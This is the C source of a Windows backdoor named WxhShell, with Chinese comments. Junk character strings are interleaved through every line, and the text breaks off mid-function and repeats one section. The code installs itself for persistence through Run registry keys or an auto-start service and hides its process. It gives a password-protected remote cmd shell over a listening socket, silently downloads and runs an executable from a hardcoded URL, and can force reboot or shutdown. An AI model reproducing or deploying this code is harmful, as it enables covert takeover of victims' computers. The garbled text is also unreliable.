cO:x{~ DWORD BasePriority; #=rR[:M ULONG UniqueProcessId; F~1R.r_Lu ULONG InheritedFromUniqueProcessId; 4tI~d8?pk+ } PROCESS_BASIC_INFORMATION; duI8^&| |($pXVLH` PROCNTQSIP NtQueryInformationProcess; 'g#GUSXfj @UKd0kxPN{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O%r<I*T^r static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q*I/mUP&f utr_fFu HANDLE hProcess; L" o6)N PROCESS_BASIC_INFORMATION pbi; :|a[6Uwl\V F<$&G'% H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d1-QkW^0y if(NULL == hInst ) return 0; D)Zv y;;@T X g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?CIa)dhu g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @:63OLlrG NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %^S1 fUwT <*[(t;i if (!NtQueryInformationProcess) return 0; y.zW>Mfl (~jOtUyT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GB#7w82 if(!hProcess) return 0; .MKxHM7 FW2} 9#R if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FQ5# v{ z8oSh t`+ CloseHandle(hProcess); m\(a{x VD4( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '
{Q L`L if(hProcess==NULL) return 0; uZfo[_g0S aa|xZ HMODULE hMod; y=t
-/*K char procName[255]; v"j7},P@ unsigned long cbNeeded; ){v nmJJ% p|zW2L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^Kn}{m/3Y ^Oo%`(D? CloseHandle(hProcess); `W5f'RU BwR)--75 if(strstr(procName,"services")) return 1; // 以服务启动 J(0c#}d w0pH|$"/P return 0; // 注册表启动 1'ZBtX~A } ]c08` #<{sP0v* // 主模块 4XRVluD%W. int StartWxhshell(LPSTR lpCmdLine) `,J\E<4J { HM`;%0T0( SOCKET wsl; [l0>pHl@ BOOL val=TRUE; )gZ yW
int port=0; biQDupTz struct sockaddr_in door; :V&#Oo $aEL>,X if(wscfg.ws_autoins) Install(); )<%GHDWL V
V<Zl port=atoi(lpCmdLine); m}rUc29cS, :AL
nm0d if(port<=0) port=wscfg.ws_port;
KrB"2e+J 3{CXIS WSADATA data; yN9/'c~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #}o*1 fnB[b[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :U=*@p4? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0`:0m/fsU door.sin_family = AF_INET; qeypa! door.sin_addr.s_addr = inet_addr("127.0.0.1"); D/v?nW door.sin_port = htons(port); {;q
zz9 | 12.|E d*72 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `KB; 3L closesocket(wsl); ?|kwYA$4o return 1; 1GE[*$vuq } RGsgT ^ ;O+=
6>W if(listen(wsl,2) == INVALID_SOCKET) { y2cYRHN[X} closesocket(wsl); *|Tx4Qt return 1; OQ&l/|{O0? } A{MMY{K3 Wxhshell(wsl); {{qu:(_g WSACleanup(); G0)}?5L1J !cW6dc^ return 0; vhvFBx0 :<hM@>eFn } Q\rf J|| QWcQtM // 以NT服务方式启动 ]lqLC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WUrE1%u { JVydTvc DWORD status = 0; |h%=a8 DWORD specificError = 0xfffffff; >cJix
1 - ({h @ serviceStatus.dwServiceType = SERVICE_WIN32; 42M_ %l_ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0Xb,ne
7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2)hfYLi serviceStatus.dwWin32ExitCode = 0; xIA] 5@;a serviceStatus.dwServiceSpecificExitCode = 0; [n4nnmM serviceStatus.dwCheckPoint = 0; j<'ftKk serviceStatus.dwWaitHint = 0; ,R.rxoO C~Hhi-Xl) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r3qKT if (hServiceStatusHandle==0) return; &+ "<ia( .d I".L status = GetLastError(); bFjH*~
P if (status!=NO_ERROR) Me79:+d { ncqAof(/ serviceStatus.dwCurrentState = SERVICE_STOPPED; )pSA|Qt N serviceStatus.dwCheckPoint = 0; {7jl) x3l serviceStatus.dwWaitHint = 0; S/"G=^~ serviceStatus.dwWin32ExitCode = status; Dj>eAO> serviceStatus.dwServiceSpecificExitCode = specificError; OClG dFJ| SetServiceStatus(hServiceStatusHandle, &serviceStatus); k4a51[SYBK return; aq)g&.dw? } `Fie'[F5,) -L+kt_> serviceStatus.dwCurrentState = SERVICE_RUNNING; UB/"&I uo serviceStatus.dwCheckPoint = 0; D=Q.Q serviceStatus.dwWaitHint = 0; >TMd1?, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a*-9n-U@[k } FRuPv6 ((C|&$@M // 处理NT服务事件,比如:启动、停止 KCO.8=y3 VOID WINAPI NTServiceHandler(DWORD fdwControl) ynv{
rMl { <o/!M6^: switch(fdwControl) VwpC UW { (?m{G Q case SERVICE_CONTROL_STOP: EjL]#,QR serviceStatus.dwWin32ExitCode = 0; C7ug\_,s serviceStatus.dwCurrentState = SERVICE_STOPPED; 8T1zL.u>q serviceStatus.dwCheckPoint = 0; 1~ W@[D
serviceStatus.dwWaitHint = 0; o2X95NiH { N"}>);r SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0KnL{Cj } -=nk,cYn return; Ym1vq= case SERVICE_CONTROL_PAUSE: K(i}?9WD serviceStatus.dwCurrentState = SERVICE_PAUSED; P&sWn?q Ol break; X8VBs#tLE case SERVICE_CONTROL_CONTINUE: )O" E#% serviceStatus.dwCurrentState = SERVICE_RUNNING; "Yh;3tI4* break; p;>A:i case SERVICE_CONTROL_INTERROGATE: yI 2UmhA break; o>_})WM1[ }; x>}ml\R SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7b+r LyS0 } iI{L>
q)i %*IY // 标准应用程序主函数 h{gFqkDoTI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4d`YZNvZW/ { /QY F|%7! is4}s,]$6 // 获取操作系统版本 sSh{.XuB+3 OsIsNt=GetOsVer(); gom!dB0J GetModuleFileName(NULL,ExeFile,MAX_PATH); qtExd~E J-hJqR*;K // 从命令行安装 zMR)w77 if(strpbrk(lpCmdLine,"iI")) Install(); i'm<{v rS{}[$Zpl // 下载执行文件 k5I;Y:~` if(wscfg.ws_downexe) { #B;P4n3 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oT-gZedW( WinExec(wscfg.ws_filenam,SW_HIDE); <{isWEW9]3 } 6;Z-Y>\c 5p (zhfuG if(!OsIsNt) { ;cXw;$&D // 如果时win9x,隐藏进程并且设置为注册表启动 3PE.7-HF HideProc(); +nE>)ZH StartWxhshell(lpCmdLine); ob\-OMNs@ } #7i*Diqf9 else riDb!oC if(StartFromService()) _~z
oMdT! // 以服务方式启动 eX+36VG\ StartServiceCtrlDispatcher(DispatchTable); X:oOp=y]| else M]s\F(*ib // 普通方式启动 xqt?z n StartWxhshell(lpCmdLine); k7^hcth BS9VwG<Z return 0; ZwkUd-=0i } $-}&RW9 zMsup4cl
h[W`P%xZ G?s9c0f =========================================== B*Tn@t W P_(8+)ud- fpR|+`k GbSCk}> (BEe^]f JOJ.79CT " YO$Ig:a# |V a:*3u #include <stdio.h> F7DA~G! #include <string.h> g-eJan&]N #include <windows.h> csy6_q( #include <winsock2.h> ?2]fE[SqY #include <winsvc.h> BJjic% V #include <urlmon.h> 7hHID>,o9% wlXs/\es #pragma comment (lib, "Ws2_32.lib") -8 uS# #pragma comment (lib, "urlmon.lib") ciblj?"Wi e$[O J<t #define MAX_USER 100 // 最大客户端连接数 tgF~5
o}? #define BUF_SOCK 200 // sock buffer +F)EGB%LXs #define KEY_BUFF 255 // 输入 buffer &<t%u[3 y!b2;- Dp #define REBOOT 0 // 重启 4fi4F1 f #define SHUTDOWN 1 // 关机 H8eEBMGo V'kBF2} #define DEF_PORT 5000 // 监听端口 ]64Pk9z= }>{R<[I!G #define REG_LEN 16 // 注册表键长度 [+\He/M6 #define SVC_LEN 80 // NT服务名长度 Ca~8cQ .RroO_H
// 从dll定义API \@@ G\\)er typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NfoHQU<n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cff6EE typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x{pj`'J) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JN8Rh c}@E@Y`@w // wxhshell配置信息 bW`nLiw}% struct WSCFG { /nO_e int ws_port; // 监听端口 y6$a:6 char ws_passstr[REG_LEN]; // 口令 E-WpsNJ)X int ws_autoins; // 安装标记, 1=yes 0=no %Xc,l Y1? char ws_regname[REG_LEN]; // 注册表键名 f#l9rV"@g char ws_svcname[REG_LEN]; // 服务名 (-S^L'v62v char ws_svcdisp[SVC_LEN]; // 服务显示名 kXL0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 -53c0g@X char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fM.#FT?? int ws_downexe; // 下载执行标记, 1=yes 0=no ep8UWxB5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o(tJc}Mh+( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z66Xj-o zfop-qDOc }; vd%AV(]<LJ 9wx]xg4l" // default Wxhshell configuration &<><4MQ struct WSCFG wscfg={DEF_PORT, ?l~qb]._ "xuhuanlingzhe", 2D:/.9= 8v 1, |Ua);B ~F "Wxhshell", ,=e.QAF!" "Wxhshell", E{)X ;kN= "WxhShell Service", aEzf*a|fSV "Wrsky Windows CmdShell Service", )@9Eq|jMC "Please Input Your Password: ", <cZ/_+H%C 1, J<L\IP?% "http://www.wrsky.com/wxhshell.exe", Y;R,ph.a "Wxhshell.exe" "'t f]s }; ~rb]u
Ny- 48z%dBmTT* // 消息定义模块 5=*i!c
_m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oAifM1*0 char *msg_ws_prompt="\n\r? for help\n\r#>"; z#Qe$`4& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R<fF
^^ char *msg_ws_ext="\n\rExit."; :ek^M ( char *msg_ws_end="\n\rQuit."; <r <{4\%} char *msg_ws_boot="\n\rReboot..."; 5mV!mn:H: char *msg_ws_poff="\n\rShutdown..."; Pm#/j; char *msg_ws_down="\n\rSave to ";
{Y/0BS2D Ae=JG8Ht~ char *msg_ws_err="\n\rErr!"; PZru:.Mh char *msg_ws_ok="\n\rOK!"; 2ZV; GS# D5xQ char ExeFile[MAX_PATH]; )-"<19eu int nUser = 0; MB:[: nX HANDLE handles[MAX_USER]; ?f9M59(l int OsIsNt; 4S*ifl Kn3Xn`P? SERVICE_STATUS serviceStatus; 6|'7Mr~\ SERVICE_STATUS_HANDLE hServiceStatusHandle; `3jwjy|5 ~-NSIV:f // 函数声明 oQpGa>6U& int Install(void); R|}4H*N int Uninstall(void); ez9F!1 int DownloadFile(char *sURL, SOCKET wsh); 94O\M
RQ* int Boot(int flag); {/)i}V#RE void HideProc(void); "6IZf>N@# int GetOsVer(void); 0827z int Wxhshell(SOCKET wsl); fe<7D\Sp@ void TalkWithClient(void *cs); (Z @dz int CmdShell(SOCKET sock); 1P"{TMd? int StartFromService(void); ";`jS&"= int StartWxhshell(LPSTR lpCmdLine); gnzg(Y]5w h}'Hst VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rs{8vV VOID WINAPI NTServiceHandler( DWORD fdwControl ); d 4tL @D*PO-s9 // 数据结构和表定义 l'Za"TL: SERVICE_TABLE_ENTRY DispatchTable[] = &n8Ja@Y] {
wT19m {wscfg.ws_svcname, NTServiceMain}, SJX9oVJeZ {NULL, NULL} u4T$ }; \tvL<U"' "y*3p0E // 自我安装 At[Q0'jkc int Install(void) #?r|6<4X { PfU\.[l$ char svExeFile[MAX_PATH]; 55ec23m HKEY key; "(W;rl
strcpy(svExeFile,ExeFile); @=AQr4& "
wT?$E // 如果是win9x系统,修改注册表设为自启动 G"m0[|XH if(!OsIsNt) { Qp[
Jw?a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bJ
6ivz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p{_*<"cfYn RegCloseKey(key); Kv!:2br if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OESKLjFt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yU/?4/G! RegCloseKey(key); 6W1+@
q return 0; XP!m]\E&I } 3B%7SX } _3%:m||,XP } NBasf
n else { (||qFu9a 1}c/l<d // 如果是NT以上系统,安装为系统服务 S-\wX.`R1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Op9 ^Eu%n if (schSCManager!=0) b"#S92R+ { @+zWLq!1pB SC_HANDLE schService = CreateService C[%&;\3S@ ( ECM#J28D schSCManager, t {1 [Ip wscfg.ws_svcname, vf>d{F^rv wscfg.ws_svcdisp, VfJ{);
SERVICE_ALL_ACCESS, 6J JA"] ` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YWd2bRb SERVICE_AUTO_START, 9?hF<}1XH} SERVICE_ERROR_NORMAL, IFr"IOr'l svExeFile, z8S]FpM6 NULL, >*O5Ry:4 NULL, iJ*Wsp NULL, r6Vw!^]8u8 NULL, #>_fYjT NULL hF^JSCDz l ); k)F!gV# if (schService!=0) kn3GgdU { m^ar:mK@ CloseServiceHandle(schService); @pv:uON\ CloseServiceHandle(schSCManager); Bw`? zd\* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pk5\v0vkg strcat(svExeFile,wscfg.ws_svcname); 5)k/4l ' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u\xrC\Ka RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1+M
!EW RegCloseKey(key); ;VCFDE{K= return 0; 9_&]7ABV } VOATza` } &2@Rc?!6_P CloseServiceHandle(schSCManager); {ByKTx& } qB$QC } u5U^}<}y} F)'_,.?0 return 1; n3/Bs } V~o'L#a w[QC // 自我卸载 UiK)m:NU int Uninstall(void) `N}'5{I { MbTmdRf HKEY key; ] 4*E: i}<fg*6@E if(!OsIsNt) { )&)tX. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ix=(f0| RegDeleteValue(key,wscfg.ws_regname); a{ByU% RegCloseKey(key); wz:,gpH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r:U<cLT[9 RegDeleteValue(key,wscfg.ws_regname); )T(1oK(g RegCloseKey(key); h:z$uG return 0; {t'SA]|g } r0'a-Mk; } BH$hd|KD< } v]q"{c/ else { G)3r[C^[k ~/K'n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?%Pi#%P if (schSCManager!=0)
? EhIK { J]NMqiq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ O;a~/T if (schService!=0) R&/"?&pfa { ronZa0 if(DeleteService(schService)!=0) { @GQtyl;q CloseServiceHandle(schService); sa"!ckh CloseServiceHandle(schSCManager); Q'^$;X~-< return 0; Y1DbBDk } BUBtK-n~"3 CloseServiceHandle(schService); "@xL9[d } `7 Nk; CloseServiceHandle(schSCManager); ~^g*cA
t} } |[/XG2S } J@q!N;eh| KM
oDcAjH return 1; Sjmq\A88dc } NQd0$q Oh7wyQiV // 从指定url下载文件 m]VOw)mBF int DownloadFile(char *sURL, SOCKET wsh) (6)X Fp& { [5P1 pkZ HRESULT hr; h& Ezhv2 char seps[]= "/"; X/S%0AwZ char *token; 2cv=7!K4Uv char *file; RWGAxq`9f char myURL[MAX_PATH]; B}d)e_uLj char myFILE[MAX_PATH]; ENZYrWl
#\O?|bN'q strcpy(myURL,sURL); t)l^$j!h@ token=strtok(myURL,seps); 6[]O3Aa while(token!=NULL) KyzdJ^xC" { ].x`Fq3 file=token; t,yMO token=strtok(NULL,seps); Q~)A
fa{ } =K6{AmG$ 5S%#3YHY2 GetCurrentDirectory(MAX_PATH,myFILE); NKu*kL}W= strcat(myFILE, "\\"); l]geQl:7`r strcat(myFILE, file); {&)E$M send(wsh,myFILE,strlen(myFILE),0); 24d{ol) send(wsh,"...",3,0); ]Cc8[ZC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -Rr Qv( if(hr==S_OK) A!_yZ|)$T return 0; qoJ<e`h} else sKL"JA
T return 1; h1Q rFPQnu qfB!)Y } [hKt4]R SHUn<+/e // 系统电源模块 ?lQ-HO Aw int Boot(int flag) #9@UzfZAwT { [7=?I.\Cr7 HANDLE hToken; kntn9G TOKEN_PRIVILEGES tkp; 690;\O ' 6vebGf if(OsIsNt) { z%[^-l- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {s~t>R p+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Te&5IB- tkp.PrivilegeCount = 1; `EzC'e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8H2A<&3i AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?H(']3X5@ if(flag==REBOOT) { d<afO?" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OA8iTn return 0; '645Fr[lg } 5s=L5]]r_j else { _D~FwF&A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f!+G1z}iA return 0; 8/+x1, S% } 'mU7N<Q$qQ } #H/suQZN"g else { gqQ"'SRw if(flag==REBOOT) { V75P@jv5J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y8%*S%yO return 0; m<| * } |GnqfD else { 3eJ"7sftW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a<mM
)[U return 0; \N"=qw^ t } },(Ln%M } (SGU]@)g i4^1bd return 1; 23~KzC } ;Zow C#j "`8~qZ7k // win9x进程隐藏模块 0z:BSdno void HideProc(void) qJf=f3 { e:kd0)9 4J6,_8`U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t~@~XI5 if ( hKernel != NULL ) z;d]=PT { tX *}l|;( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sJq^>"|J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AEr8^6 FreeLibrary(hKernel); Vv3{jn6% } B2DWSp-8* huw|J<$ return; 1pT-PO3= } q=(.N>% A,'JmF$d
// 获取操作系统版本 ^wm>\o;
int GetOsVer(void) us
TPr { gV-x1s+ OSVERSIONINFO winfo; h8me.=S& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yl!~w:O!o GetVersionEx(&winfo); 6I`Lszs if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )r^)e4UI return 1; BQTibd else GIGC,zP@k return 0; <>tQa5; } H6I]GcZ$ mqFo`Ee // 客户端句柄模块 G^Q8B^Lg int Wxhshell(SOCKET wsl) :xz,PeXo7 { .3JLa8y SOCKET wsh; !uwZ%Uxz struct sockaddr_in client; [^4)3cj7} DWORD myID; 50l!f7 D#I^;Xg0h while(nUser<MAX_USER) E"l/r4*f@ { _'"whZ)2 int nSize=sizeof(client); yaD_c; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2iJ)K rw if(wsh==INVALID_SOCKET) return 1; ,4&?`Q )* \N[zm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [_pw|BGp if(handles[nUser]==0) !lk
-MN. closesocket(wsh); 'zg; *)x1/ else qij<XNZU"& nUser++; AsOkOS3 } ev}ugRxt|k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xR`W9Z5 x&kM /z?/ return 0; X'
,0vK } >&z=ktB UbnX%2TW // 关闭 socket V4.&"0\n # void CloseIt(SOCKET wsh) +6$ |No { 3iI 4yg closesocket(wsh); &I|\AG"X} nUser--; XJ3p< ExitThread(0); ]#fmih^ } 8`{)1.d5[ 1ab_^P // 客户端请求句柄 m);0sb void TalkWithClient(void *cs) Us.")GiHE { fy6<KEea s6k@W T?"^ SOCKET wsh=(SOCKET)cs; 5C|Y-G char pwd[SVC_LEN]; qq,#bRe char cmd[KEY_BUFF]; h|T_
k char chr[1]; ^]cl:m=* int i,j; @X?7a]+;8 `Q@w*ta) while (nUser < MAX_USER) { `Nnaw+<] .yF@Ow if(wscfg.ws_passstr) { L2,.af6+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Hzz:ce //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R_7[7/a //ZeroMemory(pwd,KEY_BUFF); I0qSx{K i=0; Tx19\\r while(i<SVC_LEN) { 9Ev<t\B %2;Nj;
J$ // 设置超时 X9-WU\?UC fd_set FdRead; t4P`#,:8 struct timeval TimeOut; <l.l6okp FD_ZERO(&FdRead); -91*VBrOd FD_SET(wsh,&FdRead); V`WSZ TimeOut.tv_sec=8; .DX-biX, TimeOut.tv_usec=0; #B!HPlrv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sk6B>O <: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +v.<Fw2k# ++=f7yu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VRs|"; pwd=chr[0]; )z^NJ'v4( if(chr[0]==0xd || chr[0]==0xa) { 3!u`PIQv pwd=0; z|$M,?r' break; +L,V_z } @"G+kLv0 i++; $ o
} } N*`qsv0 >lV'}0u) // 如果是非法用户,关闭 socket B6 yTD7 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'nT#c[x[0 } II'"Nkxd W5Uw=!LdEY send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kj>!&W57 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I'E7mb<2 &e6!/y& while(1) { `oU|U!| c[>xM3=e^q ZeroMemory(cmd,KEY_BUFF); 8Drz
i!} cSTF$62E // 自动支持客户端 telnet标准 <Ej`zGhWz j=0; x']Fe7nv
while(j<KEY_BUFF) { U0;pl2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ka_(8 cmd[j]=chr[0]; !pZ<{|cH if(chr[0]==0xa || chr[0]==0xd) { $Jo4n>/ cmd[j]=0; a*&(cn break; ek"Uq RY } bd\%K`JQ{ j++; 5P{[8PZxbV } klR\7+lK 63i&< // 下载文件 TM5 Y(Q* if(strstr(cmd,"http://")) { #g/m^8n?s send(wsh,msg_ws_down,strlen(msg_ws_down),0); I^Dm 3yz if(DownloadFile(cmd,wsh)) wF9L<<&B send(wsh,msg_ws_err,strlen(msg_ws_err),0); jU-aa+ else IZLBv2m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6e8 gFQ"w2 } TlowEh8r else { wB bCGU d%UzQ*s switch(cmd[0]) { :dqZM#$d W4,'?o // 帮助 <F8e?xy case '?': { ,5x#o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !1=*"H%t break; ]}kw'& } <D P8a<{{ // 安装 ,kf.'N case 'i': { e=nvm'[h if(Install()) 14"+ctq send(wsh,msg_ws_err,strlen(msg_ws_err),0); rvlvk" else :0,yq?M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M!kSt1 break; x5CMP%}d } lWecxD$ // 卸载 Jt[,V*:# case 'r': { `/Rqt+C if(Uninstall()) ZSs@9ej send(wsh,msg_ws_err,strlen(msg_ws_err),0); m^0vux else :EAh%q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C[}UQod0 break; T@=C2
1 } %S"85#R5E // 显示 wxhshell 所在路径 Xl<iR]lda case 'p': { 71y{Dwya char svExeFile[MAX_PATH]; */l;e<E strcpy(svExeFile,"\n\r"); .>eR X% strcat(svExeFile,ExeFile); 8>t,n,k send(wsh,svExeFile,strlen(svExeFile),0); @ ?M\[qeF@ break; 9(J,&)J } aopZ-^ // 重启 DnFzCJ case 'b': { ^?Mp(o send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z[OX{_2]K if(Boot(REBOOT)) YR*gOTD send(wsh,msg_ws_err,strlen(msg_ws_err),0); FGx)? else { QM#Vl19>j( closesocket(wsh); IJ&Lk=2E] ExitThread(0); $TmEVC^0 } =T,Q7Dh break; ^hiY6N & } Xg96I:r'p // 关机 )\#*~73 case 'd': { |67Jw2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gDVsi if(Boot(SHUTDOWN)) jkx>o?s)z send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZ~kXE;B( else { Cd_@< closesocket(wsh); \^*:1=|7u] ExitThread(0); &U7v=a } @T~XwJ~ break; 0#9H;j<Op } ?!P0UTe~ // 获取shell eO <N/?t case 's': { $G`CXhbl CmdShell(wsh); IQ@9S closesocket(wsh); Yi%lWbr ExitThread(0); J)>DsQ+Cj break; dGYR
'x } =|]h-[P' // 退出 KsP2./N case 'x': { {&,p<5o send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Uv(R^50> CloseIt(wsh); S-S%IdL break; Xx{| [2` } `/PBZnj // 离开 {&n- @$? case 'q': { j~k,d.17M send(wsh,msg_ws_end,strlen(msg_ws_end),0); <=">2WP{ closesocket(wsh); IQPu%n{0v WSACleanup(); n?fy@R exit(1); ]&%KU)i? break; ChTq !W } + +}!Gfc?s } x"Ky_P~ } 5v)^4(
) r >'tE7W9 // 提示信息 lg aSIXDK if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z<i}XCE } &u2;S?7m } Wk0E7Pr |#2WN- return; BYq80Vk%@ } /*qRbN ty,oj33 // shell模块句柄 V'&;r'#O int CmdShell(SOCKET sock) ]@#9B>v= { *6/IO&y1a STARTUPINFO si; Q/S ^-&~ ZeroMemory(&si,sizeof(si)); fkZHy|m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9-;-jnDy si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }3{eVct#| PROCESS_INFORMATION ProcessInfo; y!=,u char cmdline[]="cmd"; |(.\J`_e CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |T|m5V'l return 0; /3ohm|!rW } 6$R9Y.s>Z RsZj // 自身启动模式 PFJ$Ia| int StartFromService(void) 5s[nE\oaG { J~2SGXH)^? typedef struct \V>5)Rn { .?45:Ey~g DWORD ExitStatus; "#~>q(4^ DWORD PebBaseAddress; ;M3%t=KV DWORD AffinityMask; fQfn7FaW_\ DWORD BasePriority; >of34C"DI ULONG UniqueProcessId; ~&<#H+O ULONG InheritedFromUniqueProcessId; \4N8-GwZQ } PROCESS_BASIC_INFORMATION; &*v\t\]
<O1R*CaP PROCNTQSIP NtQueryInformationProcess; <w9~T TS ["3dr@T9Z static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JXc.?{LL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !eF(WbU0 ]}v]j`9m% HANDLE hProcess; u}5CzV ` PROCESS_BASIC_INFORMATION pbi; /7UvV60 c]^P$F8U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >bW=oTFz if(NULL == hInst ) return 0; ,Wlt[T(.; }Fjbj5w0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /s4~Ij`be g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3x[Cpg, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); al2lC#Sy ZwUBeyxS=c if 